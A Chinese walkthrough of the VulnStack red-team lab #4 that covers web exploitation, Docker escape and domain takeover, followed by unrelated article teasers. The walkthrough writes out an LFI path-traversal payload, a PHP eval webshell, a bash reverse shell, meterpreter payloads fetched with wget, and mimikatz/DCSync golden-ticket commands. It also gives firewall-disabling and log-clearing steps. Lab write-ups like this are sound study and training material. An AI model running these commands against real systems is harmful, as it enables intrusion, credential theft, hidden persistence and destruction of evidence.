VulnStack|红日靶场——红队评估四

article/2025/6/19 6:01:17
  • 信息收集及漏洞利用

扫描跟kali处在同一网段的设备,找出目标IP

arp-scan -l  

扫描目标端口

nmap -p- -n -O -A -Pn -v -sV 192.168.126.154

3个端口上有web服务,分别对应三个漏洞环境 :2001——Struts2、2002——Tomcat、2003——phpMyAdmin

  1. Struts2 GetShell

通过 Struts2 漏洞扫描工具,发现存在 s2-045 和 s2-046 两个漏洞

上传蚁剑jsp一句话

上传以后用蚁剑连接

  1. Tomcat GetShell

 访问2002端口,发现Tomcat服务,并且版本为8.5.19

搜索该版本漏洞exp,查看exp脚本发现漏洞CVE-2017-12617 ,该漏洞可以通过PUT方法和 / 绕过上传jsp文件,导致任意代码执行。

#搜索漏洞searchsploit tomcat 8.5.19#进入exploitdb目录exploitdb#复制exp到桌面cp exploits/jsp/webapps/42966.py ~/Desktop#切换到桌面目录cd /root/桌面#上传文件python 42966.py -u http://192.168.126.154:2002 -p pwn

访问Poc.jsp发现可以利用,Getshell并且获得root权限

  1. phpmyadmin GetShell

 访问2003端口,发现为 phpmyadmin 控制台

   phpmyadmin GetShell需要知道网站的绝对路径,通过目录扫描虽然扫出来了 phpinfo.php 文件,但是无任何信息,可以通过查看 log 文件的路径来猜测网站的绝对路径,通过全局日志的路径猜测网站绝对路径为 /var/www/html/

SHOW VARIABLES LIKE "%log%"

 在首页可以看到phpmyadmin的版本为4.8.1,使用Apache搭建的服务器

  搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)

searchsploit phpmyadmin 4.8.1exploitdbcp exploits/php/webapps/44924.txt ~/Desktop

 使用payload读取passwd文件

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

查询phpinfo信息

select "<?php phpinfo();?>"

 获取session值

获取session值后拼接路径读取session文件,就可以查看phpinfo信息

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ 28a255f9a4c2836fc78bbcac9a60c8b3

 根据phpinfo信息得知网站绝对路径为 /var/www/html,利用 file_put_contents 函数 GetShell,先把代码写入session中(要是session不刷新,可以先把原来的session删除后再执行)

#默认写入网站根目录

select '<?php file_put_contents("zmy.php","<?php @eval(\$_POST[zmy]);?>");?>';

 拿到新的session后拼接执行代码

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ dc1d92d54ad0b8ecdbb74fab1b1e353b

 蚁剑连接

  • Docker逃逸

再拿到webshell之后,查看系统信息时发现系统名有点类似Docker容器,经过验证,确实是在Docker容器中

 privileged特权模式启动容器逃逸,经检查只有Tomcat下的webshell是以特权模式启动的

cat /proc/self/status |grep Cap

挂载成功后,反弹shell到kali实现docker逃逸

#查看磁盘分区情况fdisk -l#新建目录mkdir /zxx#挂载宿主机磁盘到新建目录中mount /dev/sda1 /zmy#在kali上开启监听nc -lvvp 8888#切换到新建目录cd /zmy#新建.sh文件touch /zmy/zmy.sh#写入反弹shell命令到sh文件中echo "bash -i >& /dev/tcp/192.168.126.135/8888 0>&1" >/zmy/zmy.sh#把sh文件写入计划任务echo "* * * * * root bash /zmy.sh" >> /zmy/etc/crontab

  反弹msf的shell到宿主机

#查询系统位数uname -m#生成对应位数payloadmsfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.126.135 lport=4444 -f elf > ~/Desktop/zmy.elf#打开msfconsolemsfconsole#启用监听use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.126.135set lport 4444run#在桌面上开启http服务python3 -m http.server#上传payload后,加权执行wget http://192.168.126.135:8080/zmy.elfchmod +x zmy.elf./zmy.elf &

  msf反弹成功后,先做个计划任务维权

#添加特殊权限,不能删除更改文件chattr +i zmy.elf#创建计划任务每分钟运行一次echo '*/1 * * * * root /root/zmy.elf' >> /etc/crontab

  • 横向移动——frp隧道搭建

查看网卡信息时发现存在其他网卡

fscan对c段进行扫描

通过扫描发现两台存活主机,并且都存在ms17-010漏洞,使用frp搭建隧道,kali做服务端,web做客户端, kali启动服务端,然后把客户端文件上传至web,加权后启动客户端

#kali服务端chmod +x  frps./frps -c ./frps.toml#meterpreter中上传客户端upload ~/Desktop/frp/frpcupload ~/Desktop//frp/frpc.tomlchmod +x frpcnohup ./frpc -c frpc.toml >/dev/null 2>&1 &

 添加socket代理(代理端口要跟 remotePort 转发端口也就是通信端口一致),然后通过proxychains代理启动msfconsole,然后使用ms17-010模块批量攻击

proxychains msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhosts 192.168.183.129-130set rport 445runsession

  攻击完成后查看session,发现只拿下了win7

通过查看系统信息发现,win7在DEMO域环境内,加载kiwi抓取域成员账号密码

sysinfoload kiwikiwi_cmd privilege::debugkiwi_cmd sekurlsa::logonPasswords

登陆win7进行后续操作,使用mimikatz

#清除票据kerberos::purge#注入票据kerberos::ptc "TGT_douser@DEMO.COM.ccache"

注入完成后即可访问到域控目录

#查看域内成员net view#访问域管理员目录dir \\WIN-ENS2VR5TR3N\c$\"

生成正向 payload 先上传到 win7 再上传到dc

#生成payloadmsfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.126.135 lport=6666 -f exe > ~/Desktop/zmy.exe#上传到win7upload ~/Desktop/zmy.exe c:\\Users\\douser\\Desktop#复制文件到域控copy zmy.exe \\WIN-ENS2VR5TR3N\c$

 上传完成后创建计划任务执行payload

#创建计划任务schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy" /TR C:\zmy.exe /SC MINUTE /MO 1 /ru system /f /RP#启用监听use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.130set lport 6666run#关闭域控防火墙echo netsh advfirewall set allprofiles state off > zmy.batcopy zmy.bat \\WIN-ENS2VR5TR3N\c$schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy2" /TR C:\zmy.bat /SC MINUTE /MO 1 /ru system /f /RP

  • 权限维持——黄金票据

制作黄金票据

load incognito  加载模块list_tokens -u  列出所有tokenimpersonate_token "DEMO\Administrator"  模拟tokenload kiwikiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt"    获取用户hashgolden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zmy -s S-1-5-21-979886063-1111900045-1414766810 -t /root/桌面/zmy.ticketkerberos_ticket_use ~/Desktop/zmy.ticket    使用票据#列出所有票据 需要system权限creds_all

 清理日志

#查看事件日志run event_manager -i#清除所有日志run event_manager -c


http://www.hkcw.cn/article/tONYUynrXc.shtml

相关文章

在 RK3588 上通过 VSCode 远程开发配置指南

在 RK3588 上通过 VSCode 远程开发配置指南 RK3588 设备本身不具备可视化编程环境&#xff0c;但可以通过 VSCode 的 Remote - SSH 插件 实现远程代码编写与调试。以下是完整的配置流程。 一、连接 RK3588 1. 安装 Debian 系统 先在 RK3588 上安装 Debian 操作系统。 2. 安…

Docker-搭建MySQL主从复制与双主双从

Docker -- 搭建MySQL主从复制与双主双从 一、MySQL主从复制1.1 准备工作从 Harbor 私有仓库拉取镜像直接拉取镜像运行容器 1.2 配置主、从服务器1.3 创建主、从服务器1.4 启动主库&#xff0c;创建同步用户1.5 配置启动从库1.6 主从复制测试 二、MySQL双主双从2.1 创建网络2.2 …

累加法求数列通项公式

文章目录 前言如何判断注意事项适用类型方法介绍典例剖析对应练习 前言 累加法&#xff0c;顾名思义&#xff0c;就是多次相加的意思。求通项公式题型中&#xff0c;如果给定条件最终可以转化为 a n 1 − a n f ( n ) a_{n1}-a_nf(n) an1​−an​f(n)的形式&#xff0c;或者…

vue3的watch用法

<template><div class"container mx-auto p-4"><h1 class"text-2xl font-bold mb-4">Vue 3 Watch 示例</h1><div class"grid grid-cols-1 md:grid-cols-2 gap-6"><!-- 基本数据监听 --><div class"…

day15 leetcode-hot100-28(链表7)

2. 两数相加 - 力扣&#xff08;LeetCode&#xff09; 1.模拟 思路 最核心的一点就是将两个链表模拟为等长&#xff0c;不足的假设为0&#xff1b; &#xff08;1&#xff09;设置一个新链表newl来代表相加结果。 &#xff08;2&#xff09;链表1与链表2相加&#xff0c;具…

边缘计算场景下的大模型落地:基于 Cherry Studio 的 DeepSeek-R1-0528 本地部署

前言 作为学生&#xff0c;我选择用 Cherry Studio 在本地调用 DeepSeek-R1-0528&#xff0c;完全是被它的实用性和 “性价比” 圈粉。最近在 GitHub 和 AI 社群里&#xff0c;大家都在热议 DeepSeek-R1-0528&#xff0c;尤其是它的数学解题和编程能力。像我在准备数学建模竞赛…

Tomcat的整体架构及其设计精髓

1.Tomcat介绍 官方文档&#xff1a;https://tomcat.apache.org/tomcat-9.0-doc/index.html 1.1 Tomcat概念 Tomcat是Apache Software Foundation&#xff08;Apache软件基金会&#xff09;开发的一款开源的Java Servlet 容器。它是一种Web服务器&#xff0c;用于在服务器端运行…

使用 Let‘s Encrypt 和 Certbot 为 Cloudflare 托管的域名申请 SSL 证书

一、准备工作 1. 确保域名解析在 Cloudflare 确保你的域名 jessi53.com 和 www.jessi53.com 的 DNS 记录已经正确配置在 Cloudflare 中&#xff0c;并且状态为 Active。 2. 安装 Certbot 在你的服务器上安装 Certbot 和 Cloudflare 插件。以下是基于 Debian/Ubuntu 和 Cent…

JAVA最新版本详细安装教程(附安装包)

目录 文章自述 一、JAVA下载 二、JAVA安装 1.首先在D盘创建【java/jdk-23】文件夹 2.把下载的压缩包移动到【jdk-23】文件夹内&#xff0c;右键点击【解压到当前文件夹】 3.如图解压会有【jdk-23.0.1】文件 4.右键桌面此电脑&#xff0c;点击【属性】 5.下滑滚动条&…

【算法】插入排序

算法系列五&#xff1a;插入排序 一、直接插入排序 1.原理 2.实现 3.性质 3.1时间复杂度 3.2空间复杂度 3.3稳定性 二、希尔排序 1.原理 1.1优化方向 1.2优化原理 2.设计 2.1比较无序时 2.2比较有序时 3.实现 4.性质 4.1时间复杂度 4.2空间复杂度 4.3稳定性…

【javaSE】String类(1)

❤️❤️前言~🥳🎉🎉🎉 hellohello~,大家好💕💕,这里是E绵绵呀✋✋ ,如果觉得这篇文章还不错的话还请点赞❤️❤️收藏💞 💞 关注💥💥,如果发现这篇文章有问题的话,欢迎各位评论留言指正,大家一起加油!一起chin up!👍👍 💥个人主页:E绵绵…

使用 Java 实现一个简单且高效的任务调度框架

目录 一、任务调度系统概述 (一)任务调度的目标 (二)任务调度框架的关键组成 二、任务状态设计 (一)任务状态流转设计 (二)任务表设计(SQL) 三、单机任务调度实现 (一)获取待处理任务 (二)执行任务 代码实现(单线程版本) (三)多线程提高吞吐量 四…

【算法题】别再为 Java 算法题犯难,码蹄杯上这些新手题库帮你打好基础

我的个人主页 我的专栏&#xff1a; 人工智能领域、java-数据结构、Javase、C语言&#xff0c;MySQL&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01; 点赞&#x1f44d;收藏❤ 前言&#xff1a; 码蹄杯作为编程学习中经典的逻辑训练题型&#xff0c;是提升算…

【Java开发日记】6个Java 工具,轻松分析定位 JVM 问题 !

目录 使用 JDK 自带工具查看 JVM 情况 jps jinfo jvisualvm jcm 使用 JDK 自带工具查看 JVM 情况 JDK 自带了很多命令行甚至是图形界面工具&#xff0c;帮助查看 JVM 的一些信息。比如&#xff0c;在机器上运行 ls 命令&#xff0c;可以看到 JDK 8 提供了非常多的工具或程…

Java 大视界 -- 基于 Java 的大数据分布式文件系统在数字图书馆海量文献存储与管理中的应用优化(219)

💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也期待你毫无保留地分享独特见解,愿我们于此携手成长,共赴新程!💖 全网…

寒假学习笔记【匠心制作,图文并茂】——1.20拓扑、强连通分量、缩点

文章目录 前言拓扑排序拓扑排序是怎么运作的拓扑排序的好处 强连通分量强连通是什么强连通分量是什么如何求 SCC 缩点 前言 更新的稍微有点晚…… 因为强连通分量这一块难学且知识点多&#xff0c;学习时间久了亿点&#xff0c;所以直到现在才更新。 拓扑排序 OI-Wiki 是这…

git下载和安装(完整版)

目录 一&#xff0c;官网下载 二, 安装步骤 1 双击直接安装【版本为64位系统的】 2 点击Next 3 点击Finish完成安装&#xff0c;验证安装&#xff0c;找一个桌面空白处&#xff0c;右键出现下列窗口 4 检验是否成功 一&#xff0c;官网下载 git官网地址&#xff1a;Gi…

系统思考:化繁为简的艺术

系统思考&#xff0c;其实是一门化繁为简的艺术。当我们能够把复杂的问题拆解成清晰的核心以及更加简单&#xff0c;从而提升团队的思考品质和行动品质&#xff0c;发挥最大的合力。 每个公司都想在某方面成为最优秀的&#xff0c;但是实际上具有穿透性的洞察力和摆脱虚荣心的清…

【Kotlin】简介变量类接口

【Kotlin】简介&变量&类&接口 【Kotlin】数字&字符串&数组&集合 文章目录 Kotlin_简介&变量&类&接口Kotlin的特性Kotlin优势创建Kotlin项目变量变量保存了指向对象的引用优先使用val来避免副作用 编译期常量后端变量Backing Fields后端属性…

8086 处理器 Flags 标志位全解析:CPU 的 “晴雨表” 与 “遥控器”总结:

引入&#xff1a; 你是否好奇&#xff0c;当 CPU 执行一条加法指令时&#xff0c;如何自动判断结果是否超出范围&#xff1f;当程序跳转时&#xff0c;如何快速决定走哪条分支&#xff1f;甚至在调试程序时&#xff0c;为何能让 CPU “一步一停”&#xff1f;这一切的答案&…